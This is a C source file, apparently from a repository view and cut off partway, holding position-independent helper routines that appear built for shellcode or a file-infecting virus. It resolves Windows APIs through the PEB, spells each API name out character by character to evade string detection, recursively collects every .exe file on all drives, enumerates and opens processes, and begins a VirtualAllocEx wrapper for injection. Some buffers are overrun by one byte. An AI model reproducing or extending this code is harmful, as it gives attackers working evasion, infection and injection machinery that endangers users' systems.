1214 lines
30 KiB
C
1214 lines
30 KiB
C
#include "stdfuncs.h"
|
|
|
|
int pic_strlen(const char *str)
|
|
{
|
|
int i = 0;
|
|
|
|
while (str[i] != '\x00')
|
|
i++;
|
|
return i+1;
|
|
}
|
|
|
|
int pic_strncmp(const char *str1, const char *str2, int len)
|
|
{
|
|
for (int i = 0; i < len; i++)
|
|
{
|
|
if (str1[i] != str2[i])
|
|
return 1;
|
|
if (str1[i] == '\x00' && str2[i] == str1[i])
|
|
return 0;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
int pic_strcmp(const char *str1, const char *str2)
|
|
{
|
|
int i = 0;
|
|
|
|
while (str1[i] == str2[i]
|
|
&& str1[i] != '\x00') i++;
|
|
|
|
if (str1[i] == str2[i]) return 0;
|
|
return 1;
|
|
}
|
|
|
|
void *pic_memmem(const void *haystack, size_t haystackLen,
|
|
const void *needle, size_t needleLen)
|
|
{
|
|
int j = 0;
|
|
if (haystackLen < needleLen) return NULL; //prevents int overflow
|
|
for (int i = 0; i <= (haystackLen - needleLen); i++)
|
|
{
|
|
for (j = 0;
|
|
((char*)haystack)[i+j] == ((char*)needle)[j]
|
|
&& j < needleLen; j++);
|
|
if (j == needleLen) return &((char *)haystack)[i];
|
|
}
|
|
return NULL;
|
|
}
|
|
|
|
void *pic_memcpy(void *dst, const void *src, size_t n)
|
|
{
|
|
for (int i = 0; i < n; i++)
|
|
{
|
|
((char *)dst)[i] = ((char *)src)[i];
|
|
}
|
|
return dst;
|
|
}
|
|
|
|
void pic_strcpy(char *dst, const char *src) {
|
|
int i = 0;
|
|
|
|
while (src[i] != '\x00') {
|
|
dst[i] = src[i];
|
|
i++;
|
|
}
|
|
dst[i] = '\x00';
|
|
return;
|
|
}
|
|
|
|
void *pic_memset(void *dst, int c, size_t n)
|
|
{
|
|
for (int i = 0; i < n; i++)
|
|
{
|
|
((char *)dst)[i] = ((char)c);
|
|
}
|
|
return dst;
|
|
}
|
|
|
|
char *pic_strcat(char *str1, const char *str2)
|
|
{
|
|
size_t str1Sz;
|
|
size_t str2Sz;
|
|
char *newStr;
|
|
|
|
str1Sz = pic_strlen(str1);
|
|
str2Sz = pic_strlen(str2); //because of 0x00
|
|
|
|
pic_memcpy(&str1[str1Sz-1], str2, str2Sz);
|
|
return str1;
|
|
}
|
|
|
|
char *pic_strstr(char *haystack, char *needle) {
|
|
return pic_memmem(haystack, pic_strlen(haystack),
|
|
needle, (pic_strlen(needle)-1));
|
|
}
|
|
|
|
|
|
|
|
/************************************************
|
|
* returns the position of ascii in ucode or -1 *
|
|
************************************************/
|
|
int ascii_ucode_find(char *ascii, char *ucode, int len)
|
|
{
|
|
int j, a;
|
|
char ucodePiece[1];
|
|
a = 0;
|
|
|
|
do
|
|
{
|
|
j = 0;
|
|
while (ascii[j] == ucode[a+(j*2)])
|
|
{
|
|
if (j == (len-1))
|
|
return a;
|
|
j++;
|
|
}
|
|
a++;
|
|
a++;
|
|
} while (ucode[a] != '\x00' || ucode[a+1] != '\x00');
|
|
return -1;
|
|
}
|
|
|
|
int pic_gen_random(int max) {
|
|
char *rName, *tName, *sName, *dllName;
|
|
randd r;
|
|
timee t;
|
|
srandd s;
|
|
|
|
__asm__("call aString;\r\n"
|
|
".string \"rand\"\r\n"
|
|
".string \"time\"\r\n"
|
|
".string \"srand\"\r\n"
|
|
".string \"msvcrt.dll\"\r\n"
|
|
"aString:\r\n"
|
|
"pop %0;\r\n"
|
|
:"=r"(rName)
|
|
:
|
|
:);
|
|
tName = rName+5;
|
|
sName = tName+5;
|
|
dllName = sName+6;
|
|
r = get_function_from_lib_by_kernelMZ(get_peb_data(0), dllName,
|
|
rName);
|
|
t = get_function_from_lib_by_kernelMZ(get_peb_data(0), dllName,
|
|
tName);
|
|
s = get_function_from_lib_by_kernelMZ(get_peb_data(0), dllName,
|
|
sName);
|
|
if (NULL == t || NULL == r || s == NULL) return 0;
|
|
s(t(NULL)+r());
|
|
return (r()%max);
|
|
}
|
|
|
|
|
|
int message_box(char *text)
|
|
{
|
|
char userName[11], msgBoxName[12];
|
|
msg_box mbx;
|
|
|
|
userName[0] = 'U';
|
|
userName[1] = 'S';
|
|
userName[2] = 'E';
|
|
userName[3] = 'R';
|
|
userName[4] = '3';
|
|
userName[5] = '2';
|
|
userName[6] = '\x00';
|
|
|
|
msgBoxName[0] = 'M';
|
|
msgBoxName[1] = 'e';
|
|
msgBoxName[2] = 's';
|
|
msgBoxName[3] = 's';
|
|
msgBoxName[4] = 'a';
|
|
msgBoxName[5] = 'g';
|
|
msgBoxName[6] = 'e';
|
|
msgBoxName[7] = 'B';
|
|
msgBoxName[8] = 'o';
|
|
msgBoxName[9] = 'x';
|
|
msgBoxName[10] = 'A';
|
|
msgBoxName[11] = '\x00';
|
|
|
|
mbx = get_function_from_lib_by_kernelMZ(get_peb_data(0), userName,
|
|
msgBoxName);
|
|
return mbx(NULL, text, NULL, 0);
|
|
}
|
|
|
|
void *pic_malloc(size_t size)
|
|
{
|
|
void *heap, *allocated;
|
|
char kernelName[10];
|
|
char gphName[15];
|
|
get_proc_heap gph;
|
|
char haName[10];
|
|
heap_alloc ha;
|
|
|
|
gphName[0] = 'G';
|
|
gphName[1] = 'e';
|
|
gphName[2] = 't';
|
|
gphName[3] = 'P';
|
|
gphName[4] = 'r';
|
|
gphName[5] = 'o';
|
|
gphName[6] = 'c';
|
|
gphName[7] = 'e';
|
|
gphName[8] = 's';
|
|
gphName[9] = 's';
|
|
gphName[10] = 'H';
|
|
gphName[11] = 'e';
|
|
gphName[12] = 'a';
|
|
gphName[13] = 'p';
|
|
gphName[14] = '\x00';
|
|
|
|
haName[0] = 'H';
|
|
haName[1] = 'e';
|
|
haName[2] = 'a';
|
|
haName[3] = 'p';
|
|
haName[4] = 'A';
|
|
haName[5] = 'l';
|
|
haName[6] = 'l';
|
|
haName[7] = 'o';
|
|
haName[8] = 'c';
|
|
haName[9] = '\x00';
|
|
|
|
gph = get_function_from_lib_by_kernelMZ(get_peb_data(0), NULL,
|
|
gphName);
|
|
ha = get_function_from_lib_by_kernelMZ(get_peb_data(0), NULL,
|
|
haName);
|
|
heap = gph();
|
|
allocated = ha(heap, 0, size);
|
|
return allocated;
|
|
}
|
|
|
|
|
|
void pic_free(void *mem)
|
|
{
|
|
char kernelName[11];
|
|
char hfName[13];
|
|
char gphName[15];
|
|
|
|
get_proc_heap gph;
|
|
heap_free hf;
|
|
|
|
hfName[0] = 'H';
|
|
hfName[1] = 'e';
|
|
hfName[2] = 'a';
|
|
hfName[3] = 'p';
|
|
hfName[4] = 'F';
|
|
hfName[5] = 'r';
|
|
hfName[6] = 'e';
|
|
hfName[7] = 'e';
|
|
hfName[8] = '\x00';
|
|
|
|
gphName[0] = 'G';
|
|
gphName[1] = 'e';
|
|
gphName[2] = 't';
|
|
gphName[3] = 'P';
|
|
gphName[4] = 'r';
|
|
gphName[5] = 'o';
|
|
gphName[6] = 'c';
|
|
gphName[7] = 'e';
|
|
gphName[8] = 's';
|
|
gphName[9] = 's';
|
|
gphName[10] = 'H';
|
|
gphName[11] = 'e';
|
|
gphName[12] = 'a';
|
|
gphName[13] = 'p';
|
|
gphName[14] = '\x00';
|
|
|
|
gph = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL,//kernelName,
|
|
gphName);
|
|
hf = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL,//kernelName,
|
|
hfName);
|
|
hf(gph(), 0, mem);
|
|
return;
|
|
}
|
|
|
|
void *pic_open_file(char *fname, unsigned int flags)
|
|
{
|
|
char ofName[9];
|
|
char ofStruct[500];
|
|
open_file of;
|
|
|
|
ofName[0] = 'O';
|
|
ofName[1] = 'p';
|
|
ofName[2] = 'e';
|
|
ofName[3] = 'n';
|
|
ofName[4] = 'F';
|
|
ofName[5] = 'i';
|
|
ofName[6] = 'l';
|
|
ofName[7] = 'e';
|
|
ofName[8] = '\x00';
|
|
|
|
of = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL,
|
|
ofName);
|
|
return of(fname, ofStruct, flags);
|
|
}
|
|
|
|
int pic_close_handle(void *handle)
|
|
{
|
|
char chName[12];
|
|
close_handle ch;
|
|
|
|
chName[0] = 'C';
|
|
chName[1] = 'l';
|
|
chName[2] = 'o';
|
|
chName[3] = 's';
|
|
chName[4] = 'e';
|
|
chName[5] = 'H';
|
|
chName[6] = 'a';
|
|
chName[7] = 'n';
|
|
chName[8] = 'd';
|
|
chName[9] = 'l';
|
|
chName[10] = 'e';
|
|
chName[11] = '\x00';
|
|
|
|
ch = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL,
|
|
chName);
|
|
return ch(handle);
|
|
}
|
|
|
|
//have to free fileDat->data your self
|
|
char *pic_read_file_bin(char *fname, file_data *fileDat)
|
|
{
|
|
void *fd;
|
|
char rfName[9];
|
|
uint32_t bytesRead;
|
|
fileDat->fileSz = 0;
|
|
read_file rf;
|
|
|
|
rfName[0] = 'R';
|
|
rfName[1] = 'e';
|
|
rfName[2] = 'a';
|
|
rfName[3] = 'd';
|
|
rfName[4] = 'F';
|
|
rfName[5] = 'i';
|
|
rfName[6] = 'l';
|
|
rfName[7] = 'e';
|
|
rfName[8] = '\x00';
|
|
|
|
rf = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL,
|
|
rfName);
|
|
|
|
//this part just calculates how long the file is
|
|
//the actual reading comes in the next block
|
|
fd = pic_open_file(fname, 0); //READ
|
|
fileDat->data = pic_malloc(100);
|
|
do
|
|
{
|
|
if (0 == rf(fd, fileDat->data, 100, &bytesRead, NULL))
|
|
{
|
|
pic_close_handle(fd);
|
|
pic_free(fileDat->data);
|
|
fileDat->data = NULL;
|
|
return NULL;
|
|
}
|
|
fileDat->fileSz += 100;
|
|
} while (100 == bytesRead);
|
|
pic_free(fileDat->data);
|
|
fileDat->fileSz -= 100;
|
|
fileDat->fileSz += bytesRead;
|
|
pic_close_handle(fd);
|
|
|
|
//now comes the actual reading:
|
|
fd = pic_open_file(fname, 0);
|
|
fileDat->data = pic_malloc(fileDat->fileSz);
|
|
if (0 == rf(fd, fileDat->data, fileDat->fileSz, &bytesRead, NULL))
|
|
{
|
|
pic_close_handle(fd);
|
|
pic_free(fileDat->data);
|
|
fileDat->data = NULL;
|
|
return NULL;
|
|
}
|
|
pic_close_handle(fd);
|
|
if (bytesRead != fileDat->fileSz)
|
|
{
|
|
pic_free(fileDat->data);
|
|
fileDat->data = NULL;
|
|
return NULL;
|
|
}
|
|
return fileDat->data;
|
|
}
|
|
|
|
int pic_write_file_bin(char *fname, file_data *fileDat) {
|
|
void *fd;
|
|
char wfName[10];
|
|
uint32_t bytesWritten;
|
|
write_file wf;
|
|
|
|
wfName[0] = 'W';
|
|
wfName[1] = 'r';
|
|
wfName[2] = 'i';
|
|
wfName[3] = 't';
|
|
wfName[4] = 'e';
|
|
wfName[5] = 'F';
|
|
wfName[6] = 'i';
|
|
wfName[7] = 'l';
|
|
wfName[8] = 'e';
|
|
wfName[9] = '\x00';
|
|
|
|
wf = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL,
|
|
wfName);
|
|
|
|
fd = pic_open_file(fname, 0x1001); //CREATE | WRITE
|
|
if (0 == wf(fd, fileDat->data, fileDat->fileSz, &bytesWritten, NULL))
|
|
{
|
|
pic_close_handle(fd);
|
|
return 0;
|
|
}
|
|
pic_close_handle(fd);
|
|
return 1;
|
|
}
|
|
|
|
dir_list *list_windows_files(char *path) {
|
|
char realPath[1024];
|
|
WIN32_FIND_DATAA ffd;
|
|
void *hFind = NULL;
|
|
char fnfName[14], fffName[15], fcName[10];
|
|
find_first_file fff;
|
|
find_next_file fnf;
|
|
find_close fc;
|
|
dir_list *retl, *curEnt, *lastEnt;
|
|
|
|
pic_memset(&ffd, 0, sizeof (WIN32_FIND_DATAA));
|
|
|
|
fcName[0] = 'F';
|
|
fcName[1] = 'i';
|
|
fcName[2] = 'n';
|
|
fcName[3] = 'd';
|
|
fcName[4] = 'C';
|
|
fcName[5] = 'l';
|
|
fcName[6] = 'o';
|
|
fcName[7] = 's';
|
|
fcName[8] = 'e';
|
|
fcName[9] = '\x00';
|
|
|
|
fnfName[0] = 'F';
|
|
fnfName[1] = 'i';
|
|
fnfName[2] = 'n';
|
|
fnfName[3] = 'd';
|
|
fnfName[4] = 'N';
|
|
fnfName[5] = 'e';
|
|
fnfName[6] = 'x';
|
|
fnfName[7] = 't';
|
|
fnfName[8] = 'F';
|
|
fnfName[9] = 'i';
|
|
fnfName[10] = 'l';
|
|
fnfName[11] = 'e';
|
|
fnfName[12] = 'A';
|
|
fnfName[13] = '\x00';
|
|
|
|
fffName[0] = 'F';
|
|
fffName[1] = 'i';
|
|
fffName[2] = 'n';
|
|
fffName[3] = 'd';
|
|
fffName[4] = 'F';
|
|
fffName[5] = 'i';
|
|
fffName[6] = 'r';
|
|
fffName[7] = 's';
|
|
fffName[8] = 't';
|
|
fffName[9] = 'F';
|
|
fffName[10] = 'i';
|
|
fffName[11] = 'l';
|
|
fffName[12] = 'e';
|
|
fffName[13] = 'A';
|
|
fffName[14] = '\x00';
|
|
|
|
fnf = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL, fnfName);
|
|
fff = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL, fffName);
|
|
fc = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL, fcName);
|
|
if (NULL == fnf || NULL == fff)
|
|
return NULL;
|
|
int pathLen = pic_strlen(path);
|
|
pic_memcpy(realPath, path, pathLen);
|
|
realPath[pathLen-1] = '*';
|
|
realPath[pathLen] = '\x00';
|
|
|
|
hFind = fff(realPath, &ffd);
|
|
if (INVALID_HANDLE_VALUE == hFind) return NULL;
|
|
|
|
retl = pic_malloc(sizeof (dir_list));
|
|
curEnt = retl;
|
|
do
|
|
{
|
|
if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
|
{
|
|
curEnt->isDir = 1;
|
|
}
|
|
else
|
|
{
|
|
curEnt->isDir = 0;
|
|
}
|
|
curEnt->fNameLen = pic_strlen(ffd.cFileName);
|
|
curEnt->fName = pic_malloc(curEnt->fNameLen);
|
|
curEnt->accessTime = ffd.ftLastAccessTime;
|
|
curEnt->writeTime = ffd.ftLastWriteTime;
|
|
|
|
pic_memcpy(curEnt->fName, ffd.cFileName,
|
|
curEnt->fNameLen);
|
|
curEnt->next = pic_malloc(sizeof (dir_list));
|
|
lastEnt = curEnt;
|
|
curEnt = curEnt->next;
|
|
pic_memset(curEnt, 0, sizeof (dir_list));
|
|
} while (fnf(hFind, &ffd) != 0);
|
|
lastEnt->next = NULL;
|
|
pic_free(curEnt);
|
|
|
|
fc(hFind);
|
|
return retl;
|
|
}
|
|
|
|
void dir_list_append(dir_list *main, dir_list *toAppend) {
|
|
dir_list *prev;
|
|
|
|
if (NULL == toAppend) return;
|
|
|
|
while ( main->next != NULL) {
|
|
main = main->next;
|
|
}
|
|
main->next = toAppend;
|
|
return;
|
|
}
|
|
|
|
void pic_free_dir_list(dir_list *lst) {
|
|
dir_list *next;
|
|
while (lst != NULL) {
|
|
next = lst->next;
|
|
pic_free(lst->fName);
|
|
pic_free(lst);
|
|
lst = next;
|
|
}
|
|
return;
|
|
}
|
|
|
|
dir_list *pic_get_devices()
|
|
{
|
|
char gldsName[24];
|
|
get_logical_drive_strings glds;
|
|
char buf[1024], *ptr;
|
|
dir_list *ret, *cur;
|
|
|
|
gldsName[0] = 'G';
|
|
gldsName[1] = 'e';
|
|
gldsName[2] = 't';
|
|
gldsName[3] = 'L';
|
|
gldsName[4] = 'o';
|
|
gldsName[5] = 'g';
|
|
gldsName[6] = 'i';
|
|
gldsName[7] = 'c';
|
|
gldsName[8] = 'a';
|
|
gldsName[9] = 'l';
|
|
gldsName[10] = 'D';
|
|
gldsName[11] = 'r';
|
|
gldsName[12] = 'i';
|
|
gldsName[13] = 'v';
|
|
gldsName[14] = 'e';
|
|
gldsName[15] = 'S';
|
|
gldsName[16] = 't';
|
|
gldsName[17] = 'r';
|
|
gldsName[18] = 'i';
|
|
gldsName[19] = 'n';
|
|
gldsName[20] = 'g';
|
|
gldsName[21] = 's';
|
|
gldsName[22] = 'A';
|
|
gldsName[23] = '\x00';
|
|
|
|
glds = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL, gldsName);
|
|
glds(1023, buf);
|
|
ptr = buf;
|
|
ret = pic_malloc(sizeof (dir_list));
|
|
cur = ret;
|
|
while ((*ptr) != '\x00')
|
|
{
|
|
cur->next = pic_malloc(sizeof (dir_list));
|
|
cur->isDir = 1;
|
|
cur->fName = pic_malloc(pic_strlen(ptr));
|
|
pic_memcpy(cur->fName, ptr, pic_strlen(ptr));
|
|
cur = cur->next;
|
|
ptr = &ptr[pic_strlen(ptr)];
|
|
pic_memset(cur, 0, sizeof (dir_list));
|
|
}
|
|
return ret;
|
|
}
|
|
|
|
int pic_get_paths_callback(char *root, int (*callback)(char *, int, dir_list *)) {
|
|
dir_list *files, *filesOld;
|
|
char dotStr[3];
|
|
char dotdotStr[4];
|
|
char fullPath[2048];
|
|
char *rootEnd;
|
|
int fullPathSize, rootSize;
|
|
|
|
dotStr[0] = '.';
|
|
dotStr[1] = '\x00';
|
|
|
|
dotdotStr[0] = '.';
|
|
dotdotStr[1] = '.';
|
|
dotdotStr[2] = '\x00';
|
|
|
|
rootSize = pic_strlen(root);
|
|
pic_memcpy(fullPath, root, rootSize);
|
|
rootEnd = &fullPath[rootSize-1];
|
|
(*rootEnd) = '\\';
|
|
rootEnd++;
|
|
(*rootEnd) = '\x00';
|
|
rootSize++;
|
|
files = list_windows_files(fullPath);
|
|
|
|
while (NULL != files) {
|
|
if (!pic_strcmp(files->fName, dotStr)
|
|
|| !pic_strcmp(files->fName, dotdotStr)) {
|
|
goto free_files;
|
|
}
|
|
pic_memcpy(rootEnd, files->fName, files->fNameLen);
|
|
fullPathSize = rootSize+files->fNameLen-2; //nullBytes
|
|
if (files->isDir == 1) {
|
|
pic_get_paths_callback(fullPath, callback);
|
|
}
|
|
else (*callback) (fullPath, fullPathSize, files);
|
|
|
|
|
|
free_files:
|
|
//this is deleting the used dir_list struct
|
|
filesOld = files;
|
|
files = files->next;
|
|
pic_free(filesOld->fName);
|
|
pic_free(filesOld);
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
|
|
dir_list *get_paths(char *root) {
|
|
dir_list *allFiles, *allFilesCur,
|
|
*allFilesDel, *retList,
|
|
*retListCur, *newFiles,
|
|
*newFilesCur;
|
|
char *fnameBuf;
|
|
size_t fnameBufSz, firstStrSz;
|
|
char dotStr[3];
|
|
char dotdotStr[4];
|
|
|
|
dotStr[0] = '.';
|
|
dotStr[1] = '\x00';
|
|
|
|
dotdotStr[0] = '.';
|
|
dotdotStr[1] = '.';
|
|
dotdotStr[2] = '\x00';
|
|
|
|
allFiles = pic_malloc(sizeof (dir_list));
|
|
pic_memset(allFiles, 0, sizeof (dir_list));
|
|
firstStrSz = pic_strlen(root);
|
|
allFiles->fName = pic_malloc(firstStrSz+1); //take care of the 0byte
|
|
allFiles->isDir = 1;
|
|
pic_memcpy(allFiles->fName, root, firstStrSz+1);
|
|
|
|
allFilesCur = allFiles;
|
|
while (allFilesCur != NULL) {
|
|
if (NULL == allFilesCur->fName
|
|
|| 0 == pic_strcmp(allFilesCur->fName, dotStr)
|
|
|| 0 == pic_strcmp(allFilesCur->fName, dotdotStr)
|
|
|| 0 == allFilesCur->isDir) {
|
|
allFilesCur = allFilesCur->next;
|
|
continue;
|
|
}
|
|
newFiles = list_windows_files(allFilesCur->fName);
|
|
newFilesCur = newFiles;
|
|
while (newFilesCur != NULL) {
|
|
if (NULL == newFilesCur->fName
|
|
|| 0 == pic_strcmp(newFilesCur->fName, dotStr)
|
|
|| 0 == pic_strcmp(newFilesCur->fName, dotdotStr)) {
|
|
newFilesCur = newFilesCur->next;
|
|
continue;
|
|
}
|
|
fnameBufSz = pic_strlen(allFilesCur->fName);
|
|
firstStrSz = fnameBufSz;
|
|
fnameBufSz += pic_strlen(newFilesCur->fName);
|
|
fnameBufSz += 3;
|
|
fnameBuf = pic_malloc(fnameBufSz);
|
|
pic_strcpy(fnameBuf, allFilesCur->fName);
|
|
if (fnameBuf[firstStrSz] != '\\') {
|
|
fnameBuf[firstStrSz] = '\\';
|
|
fnameBuf[firstStrSz+1] = '\x00';
|
|
}
|
|
pic_strcat(fnameBuf, newFilesCur->fName);
|
|
pic_free(newFilesCur->fName);
|
|
newFilesCur->fName = fnameBuf;
|
|
newFilesCur = newFilesCur->next;
|
|
}
|
|
dir_list_append(allFiles, newFiles);
|
|
allFilesCur = allFilesCur->next;
|
|
}
|
|
retList = allFiles;
|
|
|
|
return retList;
|
|
}
|
|
|
|
//of cause it's slower to use a seperate function
|
|
//espacially in the way it is done here...
|
|
dir_list *get_exe_paths(char *root) {
|
|
dir_list *ret, *retCur, *retLast, *whole, *wholeCur;
|
|
size_t strSz;
|
|
char exeStr[5];
|
|
|
|
exeStr[0] = '.';
|
|
exeStr[1] = 'e';
|
|
exeStr[2] = 'x';
|
|
exeStr[3] = 'e';
|
|
exeStr[4] = '\x00';
|
|
|
|
|
|
whole = get_paths(root);
|
|
wholeCur = whole;
|
|
ret = pic_malloc(sizeof (dir_list));
|
|
pic_memset(ret, 0, sizeof (dir_list));
|
|
retCur = ret;
|
|
retLast = NULL;
|
|
while (NULL != wholeCur) {
|
|
if (NULL != pic_strstr(wholeCur->fName, exeStr)) {
|
|
strSz = pic_strlen(wholeCur->fName);
|
|
retCur->fName = pic_malloc(strSz+1);
|
|
pic_memcpy(retCur->fName, wholeCur->fName, (strSz+1));
|
|
retCur->next = pic_malloc(sizeof (dir_list));
|
|
retLast = retCur;
|
|
retCur = retCur->next;
|
|
pic_memset(retCur, 0, sizeof (dir_list));
|
|
}
|
|
wholeCur = wholeCur->next;
|
|
}
|
|
pic_free(retCur);
|
|
if (retLast == NULL) {
|
|
return NULL;
|
|
}
|
|
retLast->next = NULL;
|
|
pic_free_dir_list(whole);
|
|
return ret;
|
|
}
|
|
|
|
//process manipulation
|
|
int pic_create_proc(char *name) {
|
|
char cpName[15];
|
|
create_process cpFunc;
|
|
//don't ask me why but createProcess()
|
|
//doesn't work when the memori for sui is allocated on the stack
|
|
void *sui = pic_malloc(4098);
|
|
char pi[1024];
|
|
int ret;
|
|
|
|
cpName[0] = 'C';
|
|
cpName[1] = 'r';
|
|
cpName[2] = 'e';
|
|
cpName[3] = 'a';
|
|
cpName[4] = 't';
|
|
cpName[5] = 'e';
|
|
cpName[6] = 'P';
|
|
cpName[7] = 'r';
|
|
cpName[8] = 'o';
|
|
cpName[9] = 'c';
|
|
cpName[10] = 'e';
|
|
cpName[11] = 's';
|
|
cpName[12] = 's';
|
|
cpName[13] = 'A';
|
|
cpName[14] = '\x00';
|
|
|
|
cpFunc = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL, cpName);
|
|
ret = cpFunc(name, NULL, NULL, NULL, 0,
|
|
0x08000000, NULL, NULL, sui, &pi); //0x08000000
|
|
pic_free(sui);
|
|
//we actually have to close the handles in sui and pi said msdn
|
|
//but i didn't care
|
|
return ret;
|
|
}
|
|
|
|
|
|
|
|
//returns a list of pids (the last one is NULL at the next field)
|
|
pids *pic_enum_procs()
|
|
{
|
|
enum_processes eproc;
|
|
char epName[14];
|
|
char psapiName[10];
|
|
pids *p = NULL;
|
|
pids *curP = NULL;
|
|
uint32_t *procs, procsSz, retSz;
|
|
|
|
epName[0] = 'E';
|
|
epName[1] = 'n';
|
|
epName[2] = 'u';
|
|
epName[3] = 'm';
|
|
epName[4] = 'P';
|
|
epName[5] = 'r';
|
|
epName[6] = 'o';
|
|
epName[7] = 'c';
|
|
epName[8] = 'e';
|
|
epName[9] = 's';
|
|
epName[10] = 's';
|
|
epName[11] = 'e';
|
|
epName[12] = 's';
|
|
epName[13] = '\x00';
|
|
|
|
psapiName[0] = 'P';
|
|
psapiName[1] = 's';
|
|
psapiName[2] = 'a';
|
|
psapiName[3] = 'p';
|
|
psapiName[4] = 'i';
|
|
psapiName[5] = '.';
|
|
psapiName[6] = 'd';
|
|
psapiName[7] = 'l';
|
|
psapiName[8] = 'l';
|
|
psapiName[9] = '\x00';
|
|
|
|
eproc = (enum_processes)get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL, epName);
|
|
//if EnumProcesses is not in kernel32 it is in psapi
|
|
if (NULL == eproc)
|
|
eproc = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
psapiName, epName);
|
|
|
|
procsSz = 1024;
|
|
do {
|
|
procs = pic_malloc(procsSz);
|
|
eproc(procs, procsSz, &retSz);
|
|
if (procsSz <= retSz)
|
|
{
|
|
pic_free(procs);
|
|
procsSz += 1024;
|
|
procs = pic_malloc(procsSz);
|
|
//it gets overwritten anyway
|
|
//but we have to increase retSz for
|
|
//not breaking the loop
|
|
retSz += 1024;
|
|
}
|
|
} while (procsSz <= retSz);
|
|
|
|
//now procs points on an array of pids
|
|
//we put it in a list to return it
|
|
curP = pic_malloc(sizeof (pids));
|
|
p = curP;
|
|
pic_memset(curP, 0, sizeof (pids));
|
|
while (retSz > 0)
|
|
{
|
|
retSz -= 4;
|
|
curP->pid = procs[retSz/4];
|
|
curP->fName = pic_get_proc_file_name(curP->pid);
|
|
if (retSz > 0)
|
|
{
|
|
//we allocate a new struct only
|
|
//if we are going to need it.
|
|
curP->next = pic_malloc(sizeof (pids));
|
|
curP = curP->next;
|
|
pic_memset(curP, 0, sizeof (pids));
|
|
}
|
|
}
|
|
return p;
|
|
}
|
|
|
|
//needs the list start and frees them all
|
|
void pic_enum_procs_free(pids *p)
|
|
{
|
|
pids *curP;
|
|
|
|
curP = p;
|
|
while (curP != NULL)
|
|
{
|
|
p = curP;
|
|
pic_free(p->fName);
|
|
|
|
curP = p->next;
|
|
pic_free(p);
|
|
}
|
|
return;
|
|
}
|
|
|
|
void *pic_open_proc(uint32_t perms, int inherit, uint32_t pid)
|
|
{
|
|
char opName[11];
|
|
open_process oproc;
|
|
|
|
opName[0] = 'O';
|
|
opName[1] = 'p';
|
|
opName[2] = 'e';
|
|
opName[3] = 'n';
|
|
opName[4] = 'P';
|
|
opName[5] = 'r';
|
|
opName[6] = 'o';
|
|
opName[7] = 'c';
|
|
opName[8] = 'e';
|
|
opName[9] = 's';
|
|
opName[10] = 's';
|
|
opName[11] = '\x00';
|
|
|
|
oproc = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL, opName);
|
|
return oproc(perms, inherit, pid);
|
|
}
|
|
|
|
//returns a 2048 bytes long buffer containing the ascii name
|
|
//pertaining to the given pid. if the path is to long you are out
|
|
//of luck sorry...
|
|
//THE ABOVE MEANS YOU HAVE TO FREE THE BUFFER
|
|
char *pic_get_proc_file_name(uint32_t pid)
|
|
{
|
|
get_module_filename_ex gmfn;
|
|
char psapiName[10], gmfnName[21], *fname;
|
|
void *procHandle;
|
|
|
|
gmfnName[0] = 'G';
|
|
gmfnName[1] = 'e';
|
|
gmfnName[2] = 't';
|
|
gmfnName[3] = 'M';
|
|
gmfnName[4] = 'o';
|
|
gmfnName[5] = 'd';
|
|
gmfnName[6] = 'u';
|
|
gmfnName[7] = 'l';
|
|
gmfnName[8] = 'e';
|
|
gmfnName[9] = 'F';
|
|
gmfnName[10] = 'i';
|
|
gmfnName[11] = 'l';
|
|
gmfnName[12] = 'e';
|
|
gmfnName[13] = 'N';
|
|
gmfnName[14] = 'a';
|
|
gmfnName[15] = 'm';
|
|
gmfnName[16] = 'e';
|
|
gmfnName[17] = 'E';
|
|
gmfnName[18] = 'x';
|
|
gmfnName[19] = 'A';
|
|
gmfnName[20] = '\x00';
|
|
|
|
psapiName[0] = 'P';
|
|
psapiName[1] = 's';
|
|
psapiName[2] = 'a';
|
|
psapiName[3] = 'p';
|
|
psapiName[4] = 'i';
|
|
psapiName[5] = '.';
|
|
psapiName[6] = 'd';
|
|
psapiName[7] = 'l';
|
|
psapiName[8] = 'l';
|
|
psapiName[9] = '\x00';
|
|
|
|
gmfn = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL, gmfnName);
|
|
if (NULL == gmfn)
|
|
gmfn = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
psapiName, gmfnName);
|
|
procHandle = pic_open_proc(PROCESS_QUERY_LIMITED_INFORMATION,
|
|
0, pid);
|
|
if (NULL == procHandle) return NULL;
|
|
|
|
#define FNAME_BUF_SZ 2048
|
|
fname = pic_malloc(FNAME_BUF_SZ);
|
|
if (0 == gmfn(procHandle, NULL, fname, FNAME_BUF_SZ))
|
|
{
|
|
pic_close_handle(procHandle);
|
|
pic_free(fname);
|
|
return NULL;
|
|
}
|
|
pic_close_handle(procHandle);
|
|
return fname;
|
|
}
|
|
|
|
void *pic_virtual_alloc_ex(void *proc, /*opt*/void *startAddr,
|
|
size_t sz, uint32_t allocType, uint32_t protect)
|
|
{
|
|
virtual_alloc_ex vaex;
|
|
char vaexName[14];
|
|
|
|
vaexName[0] = 'V';
|
|
vaexName[1] = 'i';
|
|
vaexName[2] = 'r';
|
|
vaexName[3] = 't';
|
|
vaexName[4] = 'u';
|
|
vaexName[5] = 'a';
|
|
vaexName[6] = 'l';
|
|
vaexName[7] = 'A';
|
|
vaexName[8] = 'l';
|
|
vaexName[9] = 'l';
|
|
vaexName[10] = 'o';
|
|
vaexName[11] = 'c';
|
|
vaexName[12] = 'E';
|
|
vaexName[13] = 'x';
|
|
vaexName[14] = '\x00';
|
|
|
|
